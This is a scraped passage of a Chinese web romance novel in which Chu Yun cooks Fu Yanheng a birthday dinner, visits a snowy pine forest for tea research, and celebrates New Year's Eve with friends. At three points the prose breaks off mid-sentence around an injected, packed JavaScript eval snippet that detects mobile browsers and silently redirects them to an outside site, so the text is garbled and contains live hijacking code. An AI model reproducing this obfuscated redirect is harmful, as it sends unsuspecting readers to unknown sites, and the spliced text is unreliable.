入冬后的这段时间,楚韫每天的生活可以算得上是清闲,基本就是去“先春”溜达两圈,兴致来了在二楼弹段琵琶,然后翻翻茶叶古籍找找新灵感,偶尔再去傅砚珩办公室待一会。 用秦澜月的话说,楚韫年纪轻轻已经就彻底摆脱了当代社畜的苦逼生活,提前进入无所事事的养老阶段,怀疑是受到了万恶的资本主义力量的渗透,要求他立刻反思一下自己。 于是自我反省的楚韫现在正在超市里认真地挑选食材。之前他和傅砚珩玩真心话大冒险时就得知了对方的生日,就在今天。他打算给对方一个惊喜—— 虽然以自己的厨艺,希望不是生日惊吓。 “鸡胸肉剁成泥,山药去皮蒸熟压成泥,胡萝卜、香菇切小丁。” 菜板上整整齐齐地摆着一根胡萝卜和几个香菇,楚韫慢刀斩乱麻,终于把难搞的胡萝卜和香菇切成了大小不一的小丁。 “所有食材放入碗中,加姜末、葱花、一个鸡蛋、一勺淀粉、一勺生抽、一勺蚝油、少许盐,朝一个方向搅拌至起筋。” 这一步对楚韫来说毫无难度,虽然他并不太懂什么叫“起筋”,但还是凭借着个人理解完成了搅拌。 “取一个盘子,铺一层油纸防粘,将肉馅捏成鱼的形状:头部捏尖,尾部稍宽,用勺子压出鱼身弧度,表面划几道纹。” 大显身手的时刻到了,楚韫戴上一次性手套,模仿图片上的样子,小心翼翼地开始给馅料塑形。 “……” 最后一笔纹路划好,楚韫看着面前头大身子小、鱼鳞东倒西歪的“大作”,陷入了沉思。 算了,相信傅砚珩会理解他的。楚韫呼出一口气,看了眼手机屏幕,嗯……下一步是蒸锅加水烧开,然后中火蒸十五分钟。 蒸锅上冒出源源不断的白汽,砂锅里的玉米排骨汤不断翻滚,飘出诱人的香味。 抽油烟机轰隆隆地响着,楚韫将一把蒜末扔进油热的锅中,随即立刻退到三米之外,堪堪躲过了张牙舞爪飞溅出来的油星。 听锅里的动静平息了下来,楚韫才敢有下一步动作,把蒜末翻炒两下,然后倒入西兰花和胡萝卜,大概是刚才洗菜的时候没把表面水分吸干,锅里立刻发出了惊天动地的“滋啦”声—— 楚韫硬着头皮开了大火,接着把铲子伸进去,中间还是不可避免地被热油烫了几下。 傅砚珩之前在公司就收到了楚韫发来的信息,让他下班直接回家。日理万机的傅总脑子里除了工作就是楚韫,而且眼看着楚韫的占比越来越大,自然没有多余的空间记住今天是什么日子。因此虽然一开始有些奇怪,但他还是特意提前下班了一个小时,让亿恒上下全体员工暗呼无名英雄长命百岁。 直到打开家门,闻到厨房里陌生的香气、看到餐桌上摆着的蛋糕时,傅砚珩脑子里那根细微的弦好像被人轻轻拨动了一下,他这才想起来,今天是自己的生日。 傅砚珩喉结上下滑动了两下,眼中罕见地出现了点无措,他把外套挂起来,然后就见楚韫从厨房里探出了头,笑道:“回来了?可以洗手准备吃饭了。” 餐桌上摆着两副碗筷,一条“清蒸鱼”在灯光下闪烁着温润的光,清炒西蓝花看起来色泽翠绿,玉米排骨汤香气四溢,还有一碗独属于傅砚珩的长寿面。 楚韫站在傅砚珩家里的酒柜前,犹豫再三,从里面拿出了一瓶红酒,转头问道:“傅砚珩,今晚喝这个可以吗?” 傅砚珩没太注意他拿的是哪瓶,因为他的全部注意力都放在了那个看起来不太完美、明显是某人亲手做的蛋糕上,随口道:“可以。” 暗红色的酒液缓缓注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383335|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入高脚杯中,忙活了一下午的楚韫终于有时间坐下来,活动了一下僵硬的脖子。 两人相对而坐,温暖的灯光似乎能驱散一切寒冷,哪怕外面冰天雪地,面对着这样一桌热气腾腾的菜肴,都会让人恍惚生出一种温馨柔软的感觉。 “怎么知道我今天过生日?” 楚韫的面容被蒸腾的热气模糊,看起来格外的朦胧柔软。他握着筷子,笑着说:“你忘了,之前玩真心话大冒险的时候,你亲口告诉我的。” 傅砚珩目光微微闪动,里面复杂的情绪要满溢出来:“谢谢你,楚韫。” 如果不是因为你,我都已经忘记了今天是我的生日。 楚韫不想在这样的日子里勾起傅砚珩不好的回忆,于是笑着转移话题:“没关系,以后我会陪着你过每一个生日,你忘了就由我来提醒。” 他非常主动地给傅砚珩夹了一块“清蒸鱼”,咳了咳,有些不自然地说:“那个,你尝尝,我不太会做饭,不知道合不合你口味。” 被楚韫做得歪七扭八的“清蒸鱼”居然味道不错,傅砚珩丝毫不吝惜自己的赞美:“好吃。” 随机他就问出了一直想问的问题:“为什么会想做这个?” 楚韫也尝了一块,感觉只能说是不难吃:“我想着你不喜欢吃海鲜,就用别的食材做出来鱼的形状,这么重要的日子,取个好兆头。” 傅砚珩彻底愣住了。 吃完晚餐,楚韫往那个卖相不佳的蛋糕上插了一根蜡烛,然后点上火。应傅砚珩的要求不用关灯,于是在一片明亮的餐厅里,楚韫给他唱了一首生日歌。 蛋糕里面是酒渍樱桃夹心,表面的奶油稍微有点融了,但依旧能吃出来是茉莉味的,泛着清新的甜香。 傅砚珩从回家到现在,一直处于一种恍惚而复杂的情绪中。明明窗外还是一个寒风凛冽的冬日,他却好像被无数温暖又柔软的羽毛包裹,缓缓陷入一个美好到有些不真实的梦境。 也许是自身性格使然,也许是年少的经历塑造,在他眼里,生日只不过是一串无足轻重的数字,淹没在浩浩荡荡的三百六十五天中,除了代表年纪的增长外,几乎毫无意义。 他有些出神地想着,突然感觉喉结一凉,是楚韫把一块奶油抹在了上面。 “我的蛋糕好吃吗?”楚韫歪了歪头,轻声道。 傅砚珩目光沉沉地盯着他,眼尾上挑的弧度都带了蛊惑人心的光芒:“你尝尝不就知道了。” 傅砚珩靠在中岛台上,他身高将近一米九,楚韫需要双手搂住他的脖子压下来,才能用嘴唇碰到他的喉结。 温热的触感传来,带着细细密密的酥麻和说不清道不明的痒意。傅砚珩甚至能想象到,那柔软灵巧的舌头是如何一点点舔舐掉上面的奶油,像一个不那么正经的吻。 “味道不错。”楚韫如此评价,红润的嘴唇让傅砚珩一下子想到蛋糕里的酒渍樱桃夹心。 而他也的确这么做了,用手指蘸了点红色的果酱,很有耐心地均匀涂抹在楚韫的唇上,然后低头吻了下去。 傅砚珩亲得极凶,楚韫几乎是步步后退,最后跌坐在了宽大的沙发上。 预想中下一步的亲吻没有到来,傅砚珩像是失去了所有力气,把楚韫结结实实地压在了下面。 楚韫有些愕然,碰了下对方箍在自己腰上的小臂:“傅砚珩?” 没有回答,只有一片狭长的寂静。 楚韫有点慌了,费力地把傅砚珩从自己身上扒下去,然后把他放在沙发上,调整了一个舒服的姿势,这才敢用手试探对方的呼吸—— 经过一番事无巨细的调查,楚韫觉得傅砚珩除了体温稍高之外,没有任何身体机能上的异样,反倒是薄薄的眼皮泛出些不正常的红来。 “……不会是醉了吧。” 楚韫觉得有点荒谬,但看傅砚珩的状态,又觉得这大概就是真相。 他的目光落在餐桌上剩下的半瓶红酒上,今晚他只喝了小半杯,剩下的基本上都是让傅砚珩喝了。 随即他又想起了蛋糕里的酒渍樱桃酱,他当时做的时候放了些伏特加,不会是这两样混一起给傅砚珩撂倒了吧。 楚韫一时有点想笑,在沙发边蹲了下来,手指轻轻戳了戳傅砚珩的脸,发现对方毫无反应,便大胆起来,凑过去仔细观察那张俊美的脸。 “怎么能长得这么好看。”楚韫很小声地呢喃了一句,然后就看见傅砚珩睁开了眼睛,平静的目光落在楚韫脸上。 偷看别人被当场发现,楚韫几乎是要立刻起身,结果因为太慌张,后腰碰上了茶几的尖角,疼得他“嘶”了一声。 傅砚珩立刻坐起来,皱眉问道:“磕哪了?我帮你揉揉。” 楚韫实在摸不清这人到底醉没醉,于是小心翼翼地问道:“你现在清醒吗,傅砚珩?” 49. 解释 傅砚珩没答话,执拗的目光依依不饶地缠着楚韫,好像除了给他揉腰外,任何事情都不值得他停留半分。 楚韫甚至从这目光里看出几分孩子气来,顿时就明白了:这是还醉着呢,自始至终就没清醒过。 于是他顺从地坐下来,任由对方宽大的手掌覆上自己的后腰。 安宁和寂静在客厅里缓缓流淌,就在这时,傅砚珩之前放在茶几上的手机响了。 傅砚珩好像没听到,也有可能是置若罔闻,手机在茶几上锲而不舍地震动了一段时间,始终没有拿过来看一眼。 楚韫侧过头,提醒他:“不需要看看是谁吗?” 傅砚珩不说话,深深的目光一直放在楚韫身上,楚韫知道现在没法和醉鬼讲道理,又担心他错过什么重要的事情,便把手机拿过来看了一眼,来电显示上赫然是“闻时”两个字。 楚韫朝傅砚珩晃了晃手机:“我帮你接了?” 对方依旧没反应,只是习惯性地和楚韫十指交握。 楚韫开了免提,在闻时说话前抢先一步:“闻助理,我是楚韫。” 闻时:“……” 短短三秒钟的时间,他已经脑补出了一大堆千奇百怪的猜测,上至“傅总不会出事了吧”的担忧,下到“这两人不会在搞什么不可言说之事”的臆想。 很快楚韫就揭晓了答案:“傅砚珩他……可能喝醉了。” 闻时一顿,随即大惊失色:“什么——?!!” 他预想颇多,唯独没料到这种情况,深吸一口气,语速很快地说:“楚先生,傅总有没有说什么和公司事情有关的?有没有什么材料需要我送过去?还是哪个部门让他不满意了?” 电话那头沉默了两秒,楚韫的声音才缓缓响起:“……都没有,他挺正常的。” 闻时好像一个过载的电路,“啪”的一声烧掉了。 然后电话里就传来自家老板熟悉的声音:“和他有什么好说的。” “嘟嘟”两声,电话被对面挂断了。 楚韫无奈地看了傅砚珩一眼:“万一是公司有什么要紧的事——” “没有。” 傅砚珩依旧是那么执拗而笃定,一双眼睛一瞬不瞬地盯着楚韫,突然问道:“我的生日礼物呢?” 楚韫深知不能和醉鬼讲道理,于是好声好气地哄他:“你想要什么?” 然后他就听到对方清清楚楚地说:“你。” “我想要你做我的礼物。” 后来一切都失控了,急剧升高的体温、口腔里蔓延的红酒味道,一度让楚韫以为自己也醉了。空气稀薄,夜色迷蒙中有人难耐地仰起头,眼前纷乱的光点炸开,像是黎明破晓前盛大的曙光。 楚韫平复了一会,摸了摸傅砚珩的脸,轻声说:“你可以对你的‘礼物’为所欲为。” 傅砚珩摇了摇头,他虽然醉着,但思维还是清晰的,哑声说道:“……再等等。” 楚韫车祸后有六个月的修养期,虽然这么说,但他的身体已经恢复得差不多了,完全可以容纳另一个人的存在。 但对于傅砚珩来说,任何可能对楚韫不利的事情,他都不愿意去做,哪怕因为忍耐着欲望,他鬓角的头发已经被汗水湿透。 楚韫压下眼里的酸涩,翻身把傅砚珩压在下面,低头和他接吻,断断续续地说:“……那你的‘礼物’就要对你为所欲为了。” 这个生日对傅砚珩来说大概是难忘的,反正当楚韫揉着酸痛的手腕回到床上时,他觉得自己也不会忘记今天发生的一切的。 手机上的时间显示已经过了半夜十二点,像是感觉到身侧熟悉的气息,傅砚珩下意识凑了过来,然后轻轻地搂住了楚韫。 生日快乐,三十岁的傅砚珩。 注视着傅砚珩在黑暗中的睡颜,楚韫在心里这样说。 第二天傅砚珩就向楚韫解释了他酒量极差这件事,楚韫听完还很好奇:“那你之前是不是连喝醉都会想着工作?” 傅砚珩正在打领带的动作一顿,承认道:“是。” 然后他回头看了一眼楚韫,坦然道:“闻时会感谢你的,因为他再也不用在我喝醉时提心吊胆了。” 楚韫想起昨天那通电话,深以为然。 . 雪下了一场又一场,临近年底,几乎所有的公司都会进行年度总结复盘,并制定新一年的战略和目标,亿恒也不例外。高强度的工作、频繁的会议自不必说,要不是因为家里还有楚韫,傅砚珩每年的这个时候都是住在公司。 然而楚韫清闲的“退休生活”在十二月底也戛然而止,因为他要去北边的庆安岭实地考察,为雪听松风寻找些改良的思路。 家里少了个人,顿时就没有了之前让他心安和眷恋的气息,于是傅砚珩又住回了他办公室的休息室。 对此闻时和各部门负责人简直要叫苦连天,因为现在不但要每天在会议上面对自家老板的嘲讽批评,还要随时准备在工位上加班到深夜。 别人不知道这是为什么,但闻时已经不止一次祈祷楚韫快点回来了。 . 林子里的雪刚过膝,踩上去发出“咯吱咯吱”的响声。 老张拄着松木杖在前面劈路,松针簌簌从枝头落下来,沾在他的厚棉袄上。 “小楚你看这棵,”他忽然停在一丛树前,杖头敲了敲树干,“皮是红棕色的,裂纹很深,这是樟子松。” 楚韫走过去摸了摸树皮,上面的寒意冻得指尖发麻,他问道:“和旁边那棵落叶松怎么区分?” “闻嘛。” 老张折下根带松脂的枝条递过来,笑道:“樟子松的油味冲,有点像庙里的香;落叶松淡些,带点土腥气。” 楚韫的鼻子已经被冻得不那么灵敏,但他还是闻出了二者的不同。樟子松偏清新的松脂香,落叶松带轻微木质酸香。之前廖叙生的雪听松风就是用的落叶松,虽然让茶里的山野自然气息更加浓郁,但这种落叶松尾调泛出来的酸却没有很好地和底茶融为一体。 老张往林子深处走了几步,雪地里忽然露出片青绿色。老张扒开积雪,底下是丛矮矮的灌木,松针极细,像绣花针。 “这是偃松,结的松子能吃。前几年有像你这样从南方来的,想收去做坚果,可惜咱这儿产量少。”他蹲下来扒拉着松针,“不过老辈人用它煮水,说治咳嗽。把嫩针剪下来,跟冰糖一块熬,熬到粘稠的时候装在罐子里存着,什么时候想喝都行。” 楚韫点了点头,摘下一片偃松松针,仔细闻了一下。 松脂香很浅,带着高寒地区的凛冽,细品还有点若有若无的甜调,令他无端想到融化的雪水漫过草芽,混合着草木气息和清凉感。 “张叔,听说有人用松针做茶?” “有是有,” 张叔往手上吐了口唾沫搓搓,“得用春天的新针,刚冒头那种。开水烫过,再用松柴火烘,不能烘太干。泡出来带点苦,喝着嗓子眼凉丝丝的。不过咱这儿人不爱喝,嫌不如山里的野茶顺口。” 楚韫若有所思。 风从树梢穿过,发出呜呜的声音,配上渐晚的天色,乍一听倒有几分恐怖。老张抬头看了看天,说道:“得往回走了,再晚该起雾了。” 苍茫的雪地上,两串脚印不断延伸,一直向远处亮起灯的村户。 . “行啊砚珩,年底了还不声不响地谈成了一个大合作。” 傅砚珩翻过一页财报,说道:“有话就说。” 对面噎了一下,但已经见怪不怪了:“出来放松放松呗,楚韫不在家,你也不能这么没日没夜地工作。” 傅砚珩“嗯”了一声,一秒戳破对面的谎言:“是闻时找的你吧。” 电话里寂静了两秒,随即传来一阵无奈的声音:“你是属狗的吗,这么敏锐。”他有些心虚,但还是提高了声量说:“你一个人整天泡在工作里我不管,你手底下的人也得歇歇吧。” 傅砚珩微微颔首:“有道理。” 方施廷惊悚地看了一眼通话页面,确认正在和自己说话的是傅砚珩本人。 “地址发我。” 嘟嘟两声,电话挂了,徒留方施廷和手机屏幕面面相觑。 江祈年俯身瞄准,平稳运杆,右手腕突然发力,白球带着强烈的低杆旋转撞向红球堆。 那些彩球瞬间散开,其中一颗红球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383336|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦着库边滚向底袋,在落入瞬间发出清脆的咔嗒声。 “漂亮的借下。”沙发里的徐菀真如此赞叹。 她身后的方施廷摇晃着酒杯,唉声叹气地说:“可算逮着江祈年了,这回并购案彻底收尾了?” 江祈年直起身,走过来拿走一杯玛歌,噙了一口才说:“可不是吗,在伦敦前后折腾了小半年,总算签完最后一笔了。” 他懒洋洋地靠在沙发上,说:“我家老爷子想让我接手国外的公司,这不拿这事给我练手呢。” 彭宗甯打进一颗贴库红球,闻言诧异地抬眼:“那你以后岂不是要长居国外了?” 江祈年摆了摆手:“没,我拒绝了,给老爷子气得够呛。” 他看起来满不在乎,好像无意于此,但到底是因为什么,估计只有他自己才知道。方施廷看了一会,却终究是欲言又止。 就在这时,包厢的门被人推开,侍者恭恭敬敬地站在门外,是傅砚珩来了。 徐菀真下意识探头往他身后看,结果除了一阵风,后面什么都没有。于是下意识问道:“楚韫呢?” 话音刚落,方施廷就看见江祈年僵了一下,垂在一侧的手慢慢握紧。 傅砚珩回答:“他去庆安岭那边考察,找找思路。” 徐菀真“哦”了一声,微笑道:“怪不得呢。话说傅总和人在一起真是够大张旗鼓的,圈子里都传遍了——” “什么在一起?!!” 徐菀真的笑容僵硬在脸上,她这才意识到江祈年还不知道这件事,尴尬地笑了两声,疯狂地向傅砚珩使眼色。 傅砚珩好像没收到徐菀真的信号,看了一眼江祈年,平静的说:“楚韫是我男朋友,就这样。” 方施廷一个头两个大,心想这一个两个的都不让他省心,刚想劝两句,就听角落里的彭宗甯开口了:“我这个球有点过了。” “砚珩,要不要来试试翻袋?绿球角度刚好,用中高杆推过去,说不定能借到黑球。” 这是有意想把他们先分开,让江祈年冷静冷静。但傅砚珩知道,这种东西就不能留回旋余地,必须一次性、斩钉截铁地说清楚,不然伤口表面的毒素渗进骨头里,最后就成了一辈子的沉疴。 于是他朝彭宗甯说:“好,稍等。” 傅砚珩走到江祈年旁边,笑了笑,眼里却是不容置疑的认真:“当时你带我去‘先春’的时候,我确实没对他有任何想法,追求楚韫也是后来的事了,更何况他确实拒绝了你。” 江祈年一哽,说不出话来。他最开始只是有些难以置信,也许还带了一点愤怒,但傅砚珩这个人,平时嘲讽归嘲讽,冷漠归冷漠,在心底却是真真实实拿他们当朋友的。 他压下心底翻腾的那点情绪,“嗯”了一声:“我知道……我也没别的意思。” 终究只是不甘心罢了。 傅砚珩一番坦坦荡荡的话砸下来,剩下就是给江祈年一点接受的时间。 结束后,江祈年特意在停车场叫住了傅砚珩,想了很久,却终究只能说出一句:“祝你们幸福。” 傅砚珩挑了挑眉,说道:“谢谢。” 然后傅砚珩的手机响了,江祈年清清楚楚地看见,在对方看到来电显示的那一刻,嘴角勾起一个不太明显的弧度。 “……刚刚和他们去打台球了。” “今天的成果怎么样?吃晚饭了吗?” 凛冽的寒风模糊了渐渐远去的话音,江祈年一个人站在雪地里,良久,呼出一口白气。 算了,有什么不甘心的。 那样冷淡疏离的一个人,想撬开他的心,一定要费很多的时间和心血吧。 他很喜欢楚韫,但扪心自问,应该是比不过傅砚珩的。他好像无法在面对一次次的冷脸后,还坚持不懈地去追求对方。 更何况,那通电话是楚韫主动打过来的。 江祈年笑了笑,把半张脸都埋在围巾里,正打算去找自己的车,就看见停车场的路灯下停了一辆帕拉梅拉,徐菀真正在和驾驶座上的女人旁若无人地接吻。 “……” 江祈年心里五味杂陈,随即冷笑一声,大步离开了。 50. 大结局(上) 年关将至,忙碌了一年的人们从繁华的大城市里脱身,回乡的浪潮裹挟着越来越重的年味,飘进大街小巷和每个人的心里。 楚韫之前问过傅砚珩,今年过年要不要去他爸妈那里,得到的答案是不用。 “那不好吧,叔叔阿姨会觉得我太没有礼数了。” 楚韫出了趟门,回来后头发长长了些,有些遮住了眉眼。傅砚珩伸手把那些头发拨过去,说道:“无所谓,我自己也很少和他们在一起过年。” 他想了想,说:“我们可以白天去老宅那边看他们一眼,然后晚上去秦澜月那边。” 秦澜月过年一般都不回家,陆俨很早就没了父母,往年楚韫都是和他们两个一起过年的,然后今年秦澜月大胆向自己的偶像发出了邀请,让他和楚韫一起去他家过年。 傅砚珩很好说话,闻言很快就答应了。当时楚韫还笑着说:“我以为你会想只有我们两个人。” 傅砚珩看了他一眼,勾起嘴角,楚韫莫名就从这里面看出点纵容的意味。 “我也想和你身边的人多相处一下。” 想融入你们的世界,想再多了解你一些。 于是三十当天,楚韫先和傅砚珩回了趟傅家老宅,还见到了傅家老太太。 老太太虽然一把年纪,但思想十分开明,对于他们两个在一起的事情非常支持,甚至对楚韫喜欢得不得了,拉过他的手拍拍,笑眯眯地说:“我就喜欢小楚身上的气质,不浮躁,足够温和,砚珩这孩子平时就是太凌厉了,你们正好互补,好啊。” 楚韫得到了老太太毫不掩饰的的喜爱,一时有点受宠若惊。旁边的傅砚珩半蹲下来,笑道:“行了,奶奶,楚韫会害羞的。” 楚韫看他一眼,傅砚珩朝他挑了挑眉。 老太太把他们的小动作尽收眼底,笑得皱纹都多了几条:“好啦,我不说了。不过小楚你放心,要是这小子欺负你,你就来告诉我,奶奶帮你出气!” 楚韫的耳朵更红了,含糊地应了一声:“谢谢奶奶。” 临走时,宋丽萍想留他们两个吃饭,被傅砚珩找了个理由拒绝了。 其实这么多年,傅砚珩和他们一直不冷不热,宋丽萍心知肚明是因为当年那件事,也想过补偿。但一个人的童年和少年不过短短十几载,傅砚珩高二就提前去国外上大学了,后来很多年,她都几乎没见过这个儿子。 等到傅承均心梗住院后,傅砚珩从国外回来接手亿恒,她才突然发现,这个儿子变得更加雷厉风行,也更加难以揣测,他完美地成为了傅承均期望的样子,却再也不是她记忆里,那个会因为反抗无效而默默哭泣的孩子。 但也许,在另一个人面前,他会展露自己脆弱的一面,全身心地依赖、信任对方。 这就够了。 从傅家老宅出来,楚韫手里多了三个沉甸甸的红包,分别来自傅父傅母和老太太。他坐在副驾驶上,偏头对傅砚珩说:“说实话,我现在的心理负担很大。” 傅砚珩笑了一声,探身过来给他系安全带,顺便捏了一下楚韫的脸:“奶奶不是说了吗,我能找到你这么好的男朋友是我的福气,所以你大可放心。” 楚韫被他的说法逗笑了,迈巴赫行驶上主路,他说道:“你和你奶奶的关系真好。” 傅砚珩握着方向盘,“嗯”了一声:“小的时候在她那住过一段时间,我奶奶经常带着我去野外放风筝、抓蝴蝶……总之都是我爸不让我做的事。后来回到自己家,有一段时间因为被我爸骂而心里难过,我就会偷偷给她打电话。” 楚韫想问后来呢,但其实他已经能想象到后来。 每次诉苦都会加重老人的担心,再加上傅砚珩渐渐长大,与其把那些痛苦告诉自己爱的人,不如憋在心里慢慢消化。 车里吹着暖风,楚韫把围巾摘了下来,叠好放在腿上。正好是一个红灯,他偏过头,很认真地说:“奶奶这么善良,一定会长命百岁的。” 傅砚珩笑了,点了点头:“对,奶奶一定会长命百岁。” 秦澜月发信息说食材已经买完了,于是楚韫和傅砚珩在楼下买了些水果,就上了楼。 秦澜月家在一个中档小区,胜在有些年头,所以租金便宜。楚韫有秦澜月家的钥匙,所以从小区门、单元门到家门,他们一路畅通无阻。 进了家门,闻声而来的秦澜月非常自觉地接过傅砚珩手里的水果,说道:“小俨在厨房和面,一会我们包饺子。” 楚韫把外套和围巾挂在玄关的衣架上,闻言问傅砚珩:“你有没有什么擅长的环节?和馅、擀皮,还是包饺子?” 傅砚珩想了想:“我去和馅吧。” “那我就负责包饺子。” 厨房里的陆俨探出头,和傅砚珩打了个招呼,然后咳了一声:“那个,师父,你还是来擀皮吧。” 秦澜月一边洗水果一遍接话:“对对对,你去年包的那个饺子真是奇形怪状,孙悟空七十二变都没你花样多。” 楚韫深吸一口气,微笑道:“真是难为你记得这么清楚。” 傅砚珩难得笑出了声,楚韫淡淡看了他一眼。 厨房里的两个人看不到这边,傅砚珩低下头,在他耳边说:“没事,不笑话你。” 他呼出的热气轻轻拂在楚韫耳廓上,顿时引起一阵痒意。楚韫面无表情地揉着耳朵,忽然快速地亲了一下对方的嘴角,然后立刻跑到了厨房。 “……” 傅砚珩碰了碰嘴角,无奈地笑了。 四个人分工合作,包饺子工程进展迅速。面对案板上花边精致、排列整齐的饺子,楚韫已经平静地接受了傅砚珩样样精通的事实。 陆俨把包好的饺子先放进冰箱冷冻层,然后就要着手做年夜饭。这种事情往年也轮不到楚韫头上,他最多是个打下手的,而今年因为有傅砚珩加入,他和秦澜月已经完全无用武之地了,被组织派遣去客厅休息。 厨房里传来密集连贯的切菜声、油锅腾起的“滋啦”声、锅铲碰撞的“锵锵”声,战况之火热可见一斑。 客厅里悠闲喝茶的两个人在这样的伴奏下无所事事地聊天。 “你CPA也考过了,接下来没有什么打算?” 秦澜月伸了个懒腰,不穿西装时的他看起来还像个年轻的大学生,丝毫没有平时的“经理”形象:“说实在的,之前没考过,就总想着以后考完了要重新向那些名企投简历,但现在真的拿到了这个证,却觉得挺没意思的。” 楚韫喝了一口杯里的大红袍,诧异地说:“怎么说?” 秦澜月叹了口气:“我花了五个月的时间思考这件事,前两天终于想通了。” “我问我自己:这个注册会计师证真的是你想考的吗?换句话来说,我真的那么想要它背后所代表的那些高薪工作、阶级地位吗?我想了想,好像并没有。” 秦澜月苦笑道:“我好像一直在被别人推着走,小时候,父母鞭策我要好好学习,考上好大学;等到考上一个不错的大学,身边的同学又在提醒你,你不能放松,因为还要考研保研;好不容易拿到了硕士学位,又说社会是残酷的,名企大厂只会要那些拥有完美履历的人——” “在这个过程中,我一直在麻木我自己,好像跟着绝大多数人走,就不会被这个时代淘汰,就能被世俗所认可。但真的是这样吗?直到前两天,我才意识到,这些都不是我真正想要的。” “我可以没有一份高薪而体面的工作,与之相对的,当我面对茶楼里那些平凡的日常、看到茶客来来往往,我会有一种莫名的成就感和满足感,也许是我没出息、胸无大志,但我好像真的更喜欢这样的生活。” 楚韫静静地看着他,很久才点了点头,伸出一个拳头:“那,欢迎秦经理继续在‘先春’茶楼任职——” 秦澜月笑着和他碰了一下拳头,一瞬间好像回到了大学时光:“楚老板可得加油啊,毕竟我还是那句话,好歹得让我把养老金攒出来。” 楚韫难得笑骂了一句:“滚!” 厨房飘来的糖醋排骨香混着汤锅里源源不断的热气,在玻璃窗上凝出一层薄雾。楚韫用手擦掉那层水雾,在玻璃上找好位置,朝下伸出了手—— 秦澜月把撕好的胶带递到他手里,一个端正的“福”字被贴在了玻璃上,粘胶处还被反复按压了几下。 陆俨把最后两道菜端上桌,正好他们的福字也贴完了。秦澜月吸吸鼻子,赞叹道:“小俨,你这厨艺又进步了。” 陆俨挠了挠头,有点不好意思地说:“那个,这个糖醋排骨其实是傅先生做的。” 秦澜月目瞪口呆,就见陆俨又指了桌子上几道菜,说道:“这些也都是。” . “——要我说,楚韫,你在这方面真是命好。” 电视上放着春晚,虽然没人真正去看,但好歹起了个热闹的背景音作用。这几年禁令解除,人们又开始“重操旧业”,窗外的烟花鞭炮放得此起彼伏,妆点起每一个寂静的大街小巷。 秦澜月咬着一块糖醋排骨,含糊不清地说:“以前有小俨给你做饭,谈恋爱的时候男朋友也会做饭,你这是拥有了终身饭票——” 楚韫冷冷地看了他一眼,嘴角一弯刚要开始反击,就被喂了一块没刺的红烧鱼。 傅砚珩笑道:“尝尝,我做的。” 秦澜月和陆俨眼睁睁看着楚韫像是被顺了毛一样立刻平静了下去,顿时在心里写了八百字小作文以讴歌爱情的力量。 秦澜月开了一罐啤酒,正准备挨个倒上,楚韫已经先一步挡住了傅砚珩的杯口:“他酒量不好,还是别喝了。” 秦澜月“啊”了一声,很可惜地说:“那我错过了一个和偶像碰杯的机会。” 傅砚珩看了一眼楚韫,忍俊不禁道:“半杯没事的。” 于是楚韫把手拿开了:“那我就不喝了,回去还得开车。” 秦澜月如愿以偿和傅砚珩碰了杯,洋洋得意地说:“看来我明年要发大财,到时候我就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383337|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用再没完没了地付租金了,直接把这套房子买下来!” 几个人笑作一团,装着啤酒和果汁的杯子碰在一起,陆俨说:“希望我明年能做出更好的茉莉花茶。” 楚韫对陆俨向来是比较放养的状态,只有在每年做茶的时候才会集中教一教他,闻言扶额道:“加油,摊上这么一个不靠谱的师父,你只能自己多努力点了。” 陆俨急忙摇头,为自己辩解:“不是师父,我从来没那么觉得——” 秦澜月敲了他一筷子,笑得上气不接下气:“傻孩子,你师父他逗你呢——” 陆俨:“啊?” 傅砚珩看着楚韫脸上的笑意,心中一动,放在桌下的一只手悄悄地握住了对方的手腕。 楚韫歪头看了他一眼,随即就感受到自己的手心被翻上来,傅砚珩的指尖在上面缓慢地写着什么。 “——想什么呢楚韫,你的新年愿望是什么?” 楚韫全部的精力都集中在那只作乱的手上,这时才听到秦澜月不满的声音。他甚至都不用想,就脱口而出:“改良雪听松风、完成我之前关于茉莉花茶的新构想。” “志向远大,未来可期。”秦澜月点了点头,如此评价。 最后是傅砚珩。大家都以为他会说一个和公司未来发展有关的愿望,结果他想了想,说道:“希望所有的坎坷、磨难和不如意都被抛弃在过去,新的一年,大家都更加开心、幸福。” 他说这话时并没有特意去看任何一个人,桌上的每一个人却都深有共鸣。就在此时,一簇烟花“砰”的一声炸响,绚丽夺目的绯红涌出来,镶着鎏金色的边,千万点星芒如雨,在夜幕中簌簌而落。 “——我们所有人,往后都万事顺遂、一路坦途!” 屋内暖意融融,一片碰杯声中,那些痛苦、迷茫、步履成霜,都将成为旧年的积雪,消融在过去的岁月,此后春回大地、山野烂漫,新一年的长风带着一切美好,缓缓铺向远方。 